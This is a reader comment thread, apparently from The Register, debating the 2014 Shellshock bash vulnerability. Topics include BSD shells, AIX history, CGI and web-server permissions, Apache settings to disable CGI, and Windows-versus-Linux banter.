                And we all know that true enlightement only comes from code touched by the holy hand of Ma Bell.

                1. Peter Gathercole Silver badge

                  Re: OpenBSD for the win @iEgoPad

                  I'm thinking in terms of shellshock here. No OS is totally secure, and I have acknowledged that often in other posts.

                  The business of reading another processes environment variables is not totally true anyway. You could read the environment that was passed into a process, but not any variables that were defined since the process was started were invisible.

                  That behaviour was not just AIX, but several other UNIX-like OSs (I've just checked, and the same behaviour is in RHEL 6.5), and it has definitely been fixed now on AIX (in 2008 - I can get you the APAR numbers if you want), so that you can only get to see the initial environment of processes you own. That is unless you're thinking of something other than the "ps ewww" output that pretty much every other UNIX-like OS also suffers from.

                  I think that you should look at some of the AT&T - or even better the Bell Labs. UNIX source. It's not perfect, but compared to some of the bloatware and spaghetti that is contributed to open-source projects including Linux, it's a model of conciseness and well documented code.

              2. Michael Wojcik Silver badge

                Re: OpenBSD for the win @iEgoPad

                AIX was derived from AT&T code

                AIX was derived from all sorts of things. I was working at IBM in the early AIX years, and I've seen source code for a number of its incarnations.

                AIX 1 for the RT PC was largely SVR1 / SVR2 based, but IBM and ISC also incorporated a fair bit of BSD userland code. And that version of AIX ran on top of the RT's VRM microkernel, so it was hardly stock System V.

                AIX 1 for the PS/2 was a different codebase, written by Locus under contract to IBM. Also SysV based. Locus also did the initial AIX/370.

                AIX 2 for the RT continued the mix of SysV and BSD code, but much of the kernel was written in PL/I. (I don't know if that was true of the AIX 1 RT kernel as well.) Obviously those parts had little to do with AT&T code.

                AIX 3 was a major rewrite, incorporating parts of SVR4 and BSD 4.3, and dropping the VRM in favor of a new pageable, modular, dynamically extendable kernel. Features like the unified VMM, logical cross-volume partitioning, JFS, and XCOFF executable format made AIX quite different from SVR4 at the system level, while SMIT, the ODM, and the like gave it a unique userland for sysadmins.

                Subsequent versions diverged further from SVR4 in some ways, but - largely under the auspices of POSIX, the Austin Group, and ultimately the Single UNIX Specification - AIX userland and APIs gradually converged with other UNIX implementations, so it eventually got things like dlopen, POSIX threading, etc.

                1. Peter Gathercole Silver badge

                  Re: OpenBSD for the win @Michael Wojcik

                  I never got to see AIX V1 on any platform or V2 on the RT source code (actually, I think I did have a login on one of the machines that used to hold it but I never looked). But the preceding port (IX) that was done by Locus was pretty much a pure SVR2 port, first onto the s370. That was used as the base for AIX on the RT, even if they did re-write parts.

                  I have had access to various Bell and AT&T distributions from Edition 6 through to R&D UNIX 5.3. and whatever was layered over SunOS 4.0.3 for the R&D additions to that OS.

                  I would never have said that AIX for the RS/6000 was ever SVR4. AIX 3.1 was definitely only SVID version 1 compliant, which meant that it was really only an SVR2 implementation.

                  The more modern features were mainly added through the OSF side of things, because IBM was on that camp, not the SVR4 camp.

                  The convergence really came with the UNIX 98/SUS2 accreditation of AIX 4.3.1, but as this is an interface specification, the underlying code could be written any way you wanted provided that it complied with the interface definitions.

                  Indeed, if you go through the include files for a current version of AIX, you will find almost no copyright statements left for Bell Labs, AT&T, USL, Novell, XOPEN or The Open Group. This does not prove how little AT&T code is left in there, but it does give some indication.

      2. asdf

        Re: OpenBSD for the win

        Yes yes I am well aware you can go and put bash anywhere pretending to be POSIX including Windows (Cygwin, etc) but it generally only the Linux world where you have no choice but to use GNU tools which admittedly tend to be more user friendly but often at the cost of bloat, and hairball code that is poorly audited (often because the code is so nasty to look at). As I type this on my Debian testing Mac Pro with my beloved Cinnamon DE I am far from some neckbeard Tru64 type but that camp does have to be laughing this up some. Ksh and fvwm do have their advantages.

    2. Anonymous Coward
      Devil

      @asdf

      "One edge to OpenBSD to staying true to its real UNIX roots is it doesn't include bash in the base system."

      I see your OpenBSD, and although I actually agree with your opinion to a certain extend I'd like to raise the stakes by throwing in FreeBSD to this equation as well (which is my personal favourite).

      I'll be honest; it was my first thought as well: "Well, thankfully I run FreeBSD which uses the Bourne and C Shell (for the root user) by default".

      The problem with this reasoning is the fact that its not the OS itself which provides a safe and secure environment; it's the administrator. And lets be honest; Bash is merely a few commands away: "make -C /usr/ports/shells/bash install clean" or "pkg install -x bash".

      That's not saying I don't agree of course. Thing is; I hold the opinion that its a very good thing that the BSD environments provide a different shell for the root user (C Shell). It holds many advantages, amongst which the dependency on a shell which resides within the base system only (think about external dependencies).

      (my personal favourite is the difference in loops; "for a in * do" vs. "foreach a in (*)", this has actually saved my ass one time ;)).

      Just check BSD related forums (the FreeBSD forum for example) and see how many users change the shell for the root user and also how many users sometimes manage to run into problems because of it.

      And well, this whole bash thingie is IMO no different.

      Used the devil, not trying to be the devils advocate but it kinda resembles the FreeBSD daemon ;)

  9. asdf

    bash on a printer, huh?

    What moron would use the bloatiest Unix shell in existence for an embedded system? Never mind answered my own question. The same kind of morons by committee who though a cell size of 48 for ATM was a great idea.

  10. johnnymotel

    never touched terminal until now...

    then followed the instructions and patched OSX. Really couldn't be simpler.

    1. phuzz Silver badge
      Facepalm

      Re: never touched terminal until now...

      Unless you were using your OSX box as a web server, it was very unlikely to be a problem.

  11. Nate Amsden

    overblown

    as usual, same as heartbleed. The article is written as if every system that runs bash has cgi scripts (or other) that call bash. I'm sure there is a bunch, but really in general overblown.

    Wake me up perhaps when the tcp/ip stack of linux is remotely exploitable somehow with some weird packets? The way this article was written it is like the world was coming to an end. Maybe I'm just getting old but I don't see it happening, at least not with this security issue, for the most part this is script kiddie stuff.

    Those that are most vulnerable are probably the ones least likely to upgrade (unmaintained/unmanaged servers etc).

    SQL Slammer was pretty neat in that after what 4-6 hours it had spread around the internet?

    I upgraded my bash anyway but struggle hard to think of anything in my environments that would call it in a vulnerable way.

    1. Anonymous Bullard

      Re: overblown

      It has to be overblown so the less technical people get off their arses and patch, although my computers (apart from RPis) where patched before I even heard about it - not that they have any publicly accessible services.

  12. Daggerchild Silver badge

    Wanted : amputation patch

    The entire bash feature that has the bug in it is a BAD IDEA.

    Hands up who has *ever* written a bash script that relied on exporting local code functions to a subshell using its environment variables?

    I'll be happier with this feature dead frankly, not patched.

    1. tfewster
      Facepalm

      Re: Wanted : amputation patch

      As I see it, that's pretty much what "dotting in" or "sourcing" does. You're right that it's a feature.

      The attack vectors like Apache/CGI that enable a shell without authentication? They're the bad guys. But if it's easier to block multiple attack vectors at the center by nerfing bash, the core OS guys can do that for you.

      (i have no affiliation to any group, and am prepared to be "corrected" by both sides)

      1. Peter Gathercole Silver badge

        Re: Wanted : amputation patch

        No. It's really not like sourcing another file. It's more like ksh FPATH libraries, or the shell rc files (normally .kshrc or .bashrc), where the functions are automatically defined every time a shell starts.

        I'm uncertain about the feature of exporting functions. I see it could be useful, but I've lived for so long not using it that I don't see it as essential. In fact, I get really pissed of about the amount of pollution that infects a users environment in most Linux distributions. I mean, just log on and type env or set or typeset+f and see how much crap is in there!

        1. Anonymous Coward
          Anonymous Coward

          Re: Wanted : amputation patch

          re: how much crap is there.

          while (true)

          do

          upvote previous post

          done

      2. Daggerchild Silver badge

        Re: Wanted : amputation patch

        > As I see it, that's pretty much what "dotting in" or "sourcing" does. You're right that it's a feature

        *Consciously* reaching for an *explicit something* that is already inside the filesystem is different to *unconsciously* searching the *entire* environment for *anything* that you can run.

        One you can choose not to do, and in fact must choose to use. The other you cannot avoid doing.

  13. Anonymous Coward
    Anonymous Coward

    Do we have a logo yet?

    If this "shellshock" bug is to seriously compete with Heartbleed then it needs to develop its brand identity a bit more. We need a logo! Do you think The Register could have a competition to design one?

    Obviously, in honour of the organisation that brought us this fine software, the logo should be GPL-licensed.

    1. Mister Cheese
      Linux

      Re: Do we have a logo yet?

      Sorry... Fedora beat you to it...

      http://fedoramagazine.org/wp-content/uploads/2014/09/shellshock.png

  14. Anonymous Coward
    Anonymous Coward

    criminals != hackers

    "A patch for the severe Shellshock security vulnerability in Bash is incomplete – as hackers exploit the hole to compromise computers."

    Can we please stop calling criminals "hackers" for crying out loud!

    1. diodesign (Written by Reg staff) Silver badge

      Re: criminals != hackers

      "Can we please stop calling criminals "hackers" for crying out loud!"

      No. You've lost control of the word, I'm afraid. When editing articles, I tend to prefer crooks, criminals, miscreants, thieves, attackers, infiltrators, spies, crims, villains, and perps over hackers.

      But sometimes hackers will do.

      C.

      1. Alan Brown Silver badge

        Re: criminals != hackers

        "But sometimes hackers will do."

        instead of "crackers" or "skiddies" ?

  15. James Loughner

    permisions

    Code on Unix like systems can not run with any more permissions then the program at the interface ie the web server. If you have a server running as root you deserve what you get.

    1. Destroy All Monsters Silver badge
      Holmes

      Re: permisions

      What you get is an exploitshell running as apache (unless SELinux rules or something else kicks in), which may or may not have interesting consequences. In such systems, local privileges escalations may well be possible.

      1. Anonymous Coward
        Anonymous Coward

        Re: permisions

        "In such systems, local privileges escalations may well be possible."

        Of which Linux has had many many previous examples...

    2. h4rm0ny

      Re: permisions

      >>"Code on Unix like systems can not run with any more permissions then the program at the interface ie the web server"

      This again? Same thing was posted in the last article on this and it was just as foolish then. The above is true and yet does not make such a compromise less of a disaster. If I can execute arbitrary scripts with the privileges of the web server I can scarf all the data from whatever database is running your site, read all the application code for your site and look for other vulnerabilities, subvert your site to distribute malware or capture your users' credentials... And a lot more. The above is a very big thing.

      1. theylie

        Re: permisions

        and the NSA is doing that anyway, so?

    3. itzman

      Re: permisions

      Yes., what bothers me is that Apache by definition can read all the PHP stuff that it executes, and some of that contains passwords for databases and email addresses and the like.

      Can apache be fooled into - say - shoving all my php scripts down a pipe to some remote eejit, and if so what so I need to do to stop it?

      I am not sure I ever use CGI - the only active scripts are PHP intentionally.

      the server is vintage debian. bash is available, but not sure if its the default i'd expect that to be dash.

      Simple task: how can I test my apache server for vulnerability, how can I switch off CGI altogether?

      1. h4rm0ny

        Re: permisions

        >>"Simple task: how can I test my apache server for vulnerability, how can I switch off CGI altogether?"

        To test it, you'd have to write something that passed the exploit into an environment variable. Simple enough, but application specific so I can't answer. Maybe someone else can suggest something. To turn off SSI and CGI on Apache, use the following options:

        Options -Includes

        Options -ExecCGI

        Or if it were on a directory by directory basis:

        <Directory "/var/www/mysite">

        Options -Includes -ExecCGI

        </Directory>

        Hope that helps. I'm not an Apache expert.

  16. present_arms

    http://i5.minus.com/jx1cmyfZvNPkj.png :)

    1. present_arms

      Seriously a thumb down because it points out that if ya not running a web server there isn't much worry. oh well,

  17. eulampios

    the scary sshd part

    Stating that this bug affects Openssh-server (even with ForceCommand details ) and not explaining how is a little disingenuous.

    So, ForceCommand variable is used in sshd_config to restrict execution of a specific command for a user, already having the shell access to the machine and allowed to ssh to it. Not a very pleasant surprise for admins to learn how this bug overrides their restriction when it is in place, however it won't be as devastating to sshd and the system in overwhelming majority of the cases as the tone implies.

  18. MarkSitkowski

    Bash Vulnerability?

    I used to think you couldn't get more stupid than to run PHP applications on a web server, but now I know better.

    What kind of idiot, in this day and age, has an interpreted CGI 'script' on a web-facing application?

    In other words, what kind of idiot executes web-facing code through a shell?

    Have people forgotten what a compiler is for? You'd think that SQL injection would have reminded them of how interpreters aren't fussy about what they interpret.

    Write this down: You can't inject anything into machine code, which is what your CGI should be made of.

    No wonder there are monotonously regular breaches of security all over the world, if companies employ such incompetents to design their websites.

    1. iEgoPad

      Re: Bash Vulnerability?

      "Write this down: You can't inject anything into machine code, which is what your CGI should be made of."

      What?

      You've never debugged machine code that has splatted bytes at the wrong address, maybe over the top of other machine code? Sometimes bytes that it might have read from a data file? You've never got your hands dirty finding the cause of the splatter?

      Kids of today. See a byte of hexadecimal and get all excited. Read some Fry-like article about what can't go wrong with machine code. Don't even know they're born.

    2. itzman

      Re: Bash Vulnerability?

      Well not me, intentionally.

      The question is, does that mean I am safe?

    3. Adam 1

      Re: Bash Vulnerability?

      >Write this down: You can't inject anything into machine code, which is what your CGI should be made of.

      Yes, heartbleed only worked because openSSL is runtime interpreted rather than compiled.

  19. John Deeb

    bigger than jesus

    Do we really have to be worried about those leaky CGI scripts? Bigger than Heartbleed? Which financial or government institution, social network or hightech company works with CGI still this century? But HTTPS and OpenSSL, that was being used. Therefore it seems to me silly to say "bigger than Heartbleed".

    The local worm effect is a worry but it might be tricky to write something effective to run on routers and control devices everywhere. Again I'm not sure if a) Bash would be in use so much there and b) privileges of web daemons would be restricted more or less on those devices making it hard to run the hack tool universally.

    Somehow I smell a scare being employed and perpetuated by a security and expert world in need of excitement.and audience. This is a common phenomenon culturally these days.

    1. phuzz Silver badge
      WTF?

      Re: bigger than jesus

      Did you just ask if any government agency would have old and obsolete technology exposed to the internet?

      Where do you live that has competent government IT and what are their immigration policies?

  20. Crisp
    Windows

    I'm safe. I use a Microsoft Windows system.

    I dread to think how many down votes I'm going to get...

    1. AMBxx Silver badge
      Windows

      Re: I'm safe. I use a Microsoft Windows system.

      Just remember - there but for the grace of God.

      Another Windows user

      1. Anonymous Coward
        Anonymous Coward

        Re: I'm safe. I use a Microsoft Windows system.

        " - there but for the grace of God. " --- Oh! Folks! We've found a chosen one! :)

    2. Adam 1

      Re: I'm safe. I use a Microsoft Windows system.

      EPIC MICROSOFT SUCCESS!?

      1. Michael Wojcik Silver badge

        Re: I'm safe. I use a Microsoft Windows system.

        Yeah. Microsoft shell bugs are usually just DoSes.

    3. Michael Wojcik Silver badge

      Re: I'm safe. I use a Microsoft Windows system.

      As I posted earlier, I have multiple Windows systems with bash.

      If I were running bash-interpreted CGI scripts, or scripts that invoked bash child processes, they'd be vulnerable to remote exploitation.

      That's not so far-fetched. These machines are on the corporate network, behind firewall and NAT, so the threat model doesn't generally include direct attack.1 In the past I've had a number of quick & dirty CGI scripts on various development machines, for various development tasks. It would be easy for me to write an ad hoc bash-based CGI script to deal with some development process issue, host it under IIS or Apache or Tomcat (each of which I have running on various Windows dev boxes, for various reasons), and then forget about it.

      And then there are all those "LAMP-on-Windows" kits that you can download to do Apache-MySQL-PHP development on Windows boxes. Some quite likely have CGI enabled for one reason or another. Probably they don't include bash, and probably they don't include vulnerable scripts if they do; but combine one with Cygwin and you're most of the way there.

      In short,2 running Windows is not a guarantee of safety from this vulnerability. It makes it much less likely, but merely due to convention, not due to any difficulty in setting up a vulnerable system.

      1Does that overlook insider attacks? Yes it does. Insiders have much juicier targets readily available to them.

      2Too late.

  21. theylie

    Ubuntu is patch just update your box, no offense to anyone but most of the internet runs on linux and its all still working, another hyped event, like heartbleed bad things could have happened, no proof anything did. When I see half the internet go down Ill assume there is a real bug that actually wasnt caught and got used to do evil until they, apt-get update, apt-get upgrade and smile

    1. Anonymous Coward
      Anonymous Coward

      "most of the internet runs on linux and its all still working"

      The market leader is Microsoft (http://news.netcraft.com/archives/2014/07/31/july-2014-web-server-survey.html) - but if you combine the others that likely mostly run on Linux you are probably right. The worst might be yet to come - wait until someone launches an effective worm, etc...

      "When I see half the internet go down "

      Like the Morris worm previously caused on *NIX systems you mean?

      If this was on Windows you could just force code signing to be turned back on in Powershell - if you have turned off the defaults - to stop such an exploit in its tracks. Linux unfortunately don't have that level of security though.

      1. Anonymous Coward
        Anonymous Coward

        "The market leader is Microsoft "

        Not on active sites (i.e. ones that are used) it isn't.

        "If this was on Windows you could just force code signing to be turned back on in Powershell - if you have turned off the defaults - to stop such an exploit in its tracks. Linux unfortunately don't have that level of security though."

        So what about cmd.exe? Or do you delete that from all of your boxes as a precaution just in case this sort of thing happens? Now admittedly this isn't all that relevant to the situation at hand, but neither was your response.

        1. Anonymous Coward
          Anonymous Coward

          "So what about cmd.exe? Or do you delete that from all of your boxes as a precaution just in case this sort of thing happens"

          No - Windows is much more powerful than having to delete it. Just set your local Policy (or centrally via Group Policy) in User Configuration\Administrative Templates\System and set "Disable the command prompt"

          1. AMBxx Silver badge
            Joke

            Stop!

            You're being cruel. None of these Unix types have Windows knowledge beyond WfW 3.11.

  22. codemonkey

    Hacking

    I don't know if I could hack a Mac, but I'd sure give it a Bash.

  23. thondwe

    Free Wifi?

    A thought, If DHCP is a route into a Mac (for example) because it uses Bash to run it's DHCP scripts, then a devious sole bringing up a DHCP server on a public wifi network is going to have some fun? Or are these things properly protected against such attacks these days...

  24. Anonymous Coward
    Anonymous Coward

    This is the problem with the free software - it is not of such good quality.

    If we upgrade to Windows we get the better support and less of their hacking problems and for not that much money for my peace of mind.

    1. Anonymous Coward
      Anonymous Coward

      Obvious troll is..

      ...freaking hilarious.

      Still, it's not often the Microtards get to crow over security. Interesting to see how badly the Linuxtards take it. They can dish it out, but they clearly cannot take it.

  25. Jim 59

    Just patched bash on Debian 7 for the second time in 2 days.

  26. The Vociferous Time Waster

    It's all fine

    As the FOSS people have been telling us for years this is open source so everyone from Richard Stallman down to Tucker in his mom's basement has reviewed this code and fixed every single bug. Unlike Windows, those big companies rely on security through obscurity.

  27. Anonymous Coward
    Anonymous Coward

    This is why I have always insisted on the Thompson shell for all of our *nix boxes. Some people always have to have the latest technology but there is no place for that kind of attitude in the serious commercial enterprise, as I have always said.

  28. chivo243 Silver badge
    Pint

    A bad decision works out well

    Our "web presence" has been systematically moved to external companies, I always thought use the dosh for the external company to hire an internal person. It's the external company's problem now.

    1. h4rm0ny

      Re: A bad decision works out well

      >>"It's the external company's problem now."

      You're not by any chance a government employee in charge of hiring third party contractors, are you?

    2. Nelbert Noggins

      Re: A bad decision works out well

      I pity your customers if anything happens to your servers and am glad you don't work with me.

      Why aren't you working with your external suppliers to make sure your aren't affected?

      I expect the external company will have an indemnity/exemption clause for scenarios like this. What's your plan if something happens before they get round to patching your servers? Tell the customers it's your suppliers fault? Bye, bye customers...

  29. chris lively
    Trollface

    Microsoft is laughing

    You just know that the Microsoft CEO is quite literally rolling on the floor and laughing his head off about now.

    Unix/Linux more secure? ha!

POST COMMENT House rules

Not a member of The Register? Create a new account here.

  • Enter your comment

  • Add an icon

Anonymous cowards cannot choose their icon

Other stories you might like